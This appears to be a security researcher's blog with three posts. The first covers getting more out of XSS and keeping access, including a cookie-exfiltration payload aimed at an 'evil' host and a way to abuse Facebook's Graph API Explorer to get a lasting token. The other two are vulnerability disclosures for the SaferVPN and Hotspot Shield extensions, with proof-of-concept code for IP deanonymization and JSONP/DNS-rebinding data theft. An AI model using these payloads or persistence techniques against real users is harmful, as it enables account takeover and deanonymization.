THE BIG BAD WOLF - XSS AND MAINTAINING ACCESS

10:55 PM


Today, we are the big bad wolf. We have malicious intents. As we should, right? It is commonly believed in our community we need to think like an attacker to effectively be security researchers; the kind of situation where to be one, you must be the other as well.

Understanding what an application does and how it does it always gives you a broader attack surface. If you know how to abuse them properly, understanding features and how they work may even give you privileges far more dangerous than those which you get from XSS. I'll explain what I mean by that later.


If you have malicious intents, what exactly happens immediately after you compromise a target through a client side attack? What’s the worst you can do; how fast can you perform sensitive actions and how long can you keep doing it right after you compromise a target? I'll be using the big boy that has state of the art security to mitigate client-side attacks, Facebook, as an example. I do hope you enjoy the following read.

I still read write-ups about XSS that are limited in what they can do because the attack surface isn't clear enough for the security researchers who find them. Remember, you have a grey hat now, you are the big bad wolf. You don't want to just pop an alert, you want to move laterally, you want to explore, you want to maintain access and you want to feel like you have a reliable root shell on the target in regards to what you can do.

Here is a typical XSS payload lots of security researchers and bug hunters still use:

<script>new Image(); x.location="https://evil/"+document.cookie</script>

That still is the example used to describe how bad XSS can get. steal de cookys. Does it do any harm? Maybe on weaker targets. Can we improve it? let's see.


On black box audits, you often encounter webapps:

  • without or bypassable and broken CSP,
  • without HTTPOnly attributes on sensitive cookies,
  • that don't require password to change email,
  • that got their own applications,
  • with various caching methods,
  • with oauth, 
  • with third party extensions, 
  • with session fixation,
  • with internal APIs,
  • with CRLF bugs,
  • that support service workers and appcache,
  • with login/out csrf,
  • without or with SAMEORIGIN XFO,
  • that run wordpress, or other easily code injectable platforms,
  • that don't require password when even changing passwords,
  • that run local services


Now, these are all uninteresting, low priority, bugs and "features", but they are GOLD if you have something like XSS.


If for instance you interact with a webapp that doesn't require a password to change email, you can use your XSS to change the email, reset the account with your new email and maintain access. But that's not all subtle and lateral. You want the big picture, you want to monitor privilege and then abuse it for maximum impact.


WE ARE THE BIG BAD WOLF.


In terms of blind XSS vulnerabilities, there is an even bigger attack surface people often don't think about. Since its a blind XSS, you are most likely dealing with backend people, which means local environments, services, and potentially sensitive localhost permissions. Now imagine if they have DVWA running, you can simply turn this into RCE. If they have Jenkins and other sensitive services running, that's easy loot. You could simply exploit a local router RCE vulnerability from a bXSS to get easy shells in the network.


Nowadays, secure websites widely implement a bunch of security best practices so your document.cookie attacks don't do you much. Even after defeating CSP, most sensitive and non-sensitive cookies are marked with flags such as secure, HTTPOnly and recently SameSite flag attributes minimizing your ability to hijack sessions and maintain access.


For those who don't know, if a cookie has HTTPOnly flags it means the cookie cannot be accessed through client side scripts so even if you have an XSS, you can't just send the cookies to wherever like people still tell you.


Giants like Facebook have developer profiles letting you create applications that can request access through OAuth, but I think there are even easier methods. For instance, one can generate an all profile-scoped token through the Graph API Explorer, and use that token to always query and write to the user.


Why Graph API Explorer?

  • You don't need to verify a developer profile.
  • It is a public application.
  • It has been shown to be owned by Facebook (trust+).
  • The scope is not limited.

... And there we have it ladies and gents, while we may not have the cookie, we still can get an almost invisible access to an application we can query full read/write privileges as the user. Even if user is paranoid or aware of an attacker’s presence, and changes the password, there lies our application and its token, untouched. We simply use an XSS payload that grants access to Graph API Explorer with all profile-scopes and use this token to move laterally.

When a user changes their email or current password, they are asked to sign out of all devices or to stay signed in. What they don't see is a prompt question of which of their integrated applications to revoke access to. Facebook responded about this saying they won't be changing that anytime soon.

Conclusion


Cross site scripting still is one of the most widespread and common vulnerability types in web applications today. It can be found in many forms and I believe it still will be a problem in the coming years. The bugs and features I mentioned above are nothing more than misconfigurations in systems, almost always empowering client-side attacks to do more.

I believe there is a lot that can be researched on this; regarding maintaining access on web-applications. I strongly agree such research results maybe useful for future forensic intrusion detection improvements.


I would like to thank @filedescriptor and @luffy_lover for proof-reading this. 

SaferVPN CVE-2018-10308, from DoS to deanonymization

3:44 AM


TL,DR; After my last month's finding in Hotspot Shield, I decided to look at and audit more VPNs to see how many of the major VPN vendors are vulnerable to information leakage. Together with File Descriptor, we decided to look at 3 random major VPN clients to see what we can find. Our research was supported by the privacy advocate vpnmentor.

We initially selected PureVPN, Hotspot Shield, and Zenmate as pilot targets and went ahead with the research. what we've found surprised us: of all 3 vpn's we've tested, we've discovered all of them leak sensitive data.


The vulnerabilities would have allowed governments, hostile organizations, or individuals to identify the actual IP address or DNS of a user, and in some cases hijack the user's traffic. While Zenmate’s leak was somewhat minor compared to the two other VPNs, its still important. You can find the details of the vulnerabilities found here, here or here.


The fact that we found leaks in all the VPNs that we tested is worrying, and led us to believe VPNs may not be as safe as many may think. This opened doors for further research.
Our guess is that most VPNs have similar leaks and that users should take this into consideration when using VPNs.

Details

In this blog post, I will explore a vulnerability I found in SaferVPN Chrome Extension. the vulnerability, CVE-2018-10308 as simple as it is, should help malicious actors retrieve vital information such as IP addresses when a user visits a website.


When a series of simultaneous requests to a nonexistent server is sent, the VPN extension easily crashes, letting us leak real user IPs, DNS and other details which the VPN is suppose to hide.


This is a weird bug, as I didn't know chrome extensions could be dosed until now. I've tried putting breakpoints through the extension's debugger to see what is causing it and they seem to intentionally kill the extension when it resolves many non existent dns queries.


Here is a PoC that works on versions before 3.1.10

<script type="text/javascript">  
  var head = document.getElementsByTagName('head')[0];  
  var img = document.createElement('img');  
  img.src= "https://nonexistant.nonexistant.nonexistant";  
  function kill(){  
   for(var i=0;i<12;i++){  
    head.appendChild(img);  
    }
  }
  kill();  
  window.onload = setTimeout(function () {  
   var webService = "https://freegeoip.net/json/";  
     var script = document.createElement("script");  
     script.type = "text/javascript";  
     script.src = webService+"?callback=MyIP&format=jsonp";  
     document.getElementsByTagName("head")[0].appendChild(script);  
   }, 9000);   
  function MyIP(response) {  
    document.getElementById("ipaddress").innerHTML = response.ip;  
  }
</script>  
<div id = "ipaddress"></div>



Timeline

Thu, Mar 29 - contacted SaferVPN
Thu, Apr 19 - patch live.

You can write to me here if you'd like to talk about funding similar research.




Hotspot Shield CVE-2018-6460, Sensitive Information Disclosure with XSSI & DNS Rebinding

1:07 AM


Lately, I’ve been interested in VPN clients. I was focusing my research on paid commercial VPN clients with 2M+ installs. one of the clients that stood out was Hotspot Shield, with similar builds on Android, Windows and Chrome. With each carrying over 3M+ installs worldwide.


While analyzing this application, I noticed its riddled with bugs that allow sensitive information disclosure. In this blog post, I will explore how it is possible to leak a user’s data, such as what wifi they are connected to while they are using Hotspot Shield.

Update Feb 8th, 2018: Hotspot Shield have released a patch that fixes these issues in version 7.4.6.

Details

Hotspot Shiled when turned on runs its own web server to communicate with its own VPN client. The server runs on a hardcoded host 127.0.0.1 and port 895. It hosts vital JSONP endpoints that return multiple interesting values and configuration data.

for example, http://localhost:895/status.js generates a sensitive JSON response that reveals whether the user is connected to VPN, to which VPN he/she is connected to what and what vpn network they are connected to, their country, network (wifi) name other information. There are other multiple endpoints that return sensitive data including configuration details.

$ curl -si http://127.0.0.1:895/status.js
HTTP/1.0 200 OK

{
“connect_state": "CONNECTED",
"daemon_state": {"timestamp": "1517471953", "state_name": "", "description": "HYDRA", "tun_ip":   "[reducted]", "remote_ip": "[reducted]", "network_name": "shitcakes", ", "country_code": "ET"}

}

While that endpoint is presented without any authorization, status.js is actually a JSON endpoint so there are no sensitive functions to override, but when we send the parameter func with $_APPLOG.Rfunc, it returns that function as a JSONP name. We can obviously override this in our malicious page and steal its contents by supplying a tm parameter timestamp, that way we can provide a logtime.


$_APPLOG.Rfunc({
“connect_state": "CONNECTED",
"daemon_state": {"timestamp": "1517471953", "state_name": "", "description": "HYDRA", "tun_ip":   "[reducted]", "remote_ip": "[reducted]", "network_name": "shitcakes", ", "country_code": "ET"

}})

However, many might say this attack is limited to LAN because of the address of the server, but this is where pull out an attack called dns rebining. In a DNS rebinding, any website can simply create a dns name that they are authorized to communicate with, and then make it resolve to localhost or 127.0.0.1 (making it accessible from the WAN) -- I suggest you to read Tavis Ormandy’s bug on Blizzard here.
You can use https://lock.cmpxchg8b.com/rebinder.html to generate a host name for use. You can alternate between 127.0.0.1 and 191.241.34.54 for example.

Similiar to Tavis’ post we now do the following to check,

$ host 7f000001.c7f11de3.rbndr.us
7f000001.c7f11de3.rbndr.us has address 127.0.0.1
$ host 7f000001.c7f11de3.rbndr.us
7f000001.c7f11de3.rbndr.us has address 191.241.34.54
$ host 7f000001.c7f11de3.rbndr.us
7f000001.c7f11de3.rbndr.us has address 127.0.0.1

After the cache responses expire, the resolution will alternate between those two IP addresses and our binded ip address can steal the sensetive response with the following payload.

<script>
var $_APPLOG = function() { return 1; }
$_APPLOG.Rfunc = function(leak){
   alert(JSON.stringify(leak));
}
</script>
</head>
<script>
   var head = document.getElementsByTagName('head')[0];
   var script = document.createElement('script');
   script.id = 'jsonp';
   script.src = 'http://127.0.0.1:895/status.js?func=$_APPLOG.Rfunc&tm='+(new Date().getTime());
   head.appendChild(script);
</script>

Timeline

Mid November - multiple attempts to contact AnchorFree and HSS engineers.
Tue, Nov 28, 2017 - contacted Beyond Security's SSD for assistance with disclosure.
Sat, Jan 27, 2018 - beyond security confirms they've got neither a response nor an ETA for a fix.
Tue, Jan 30, 2018 - public disclosure as an SSD advisory (0day)
Wed, Jan 31, 2018 - CVE-2018-6460 assigned.
Wed, Feb 7th, 2018 - patch released with version 7.4.6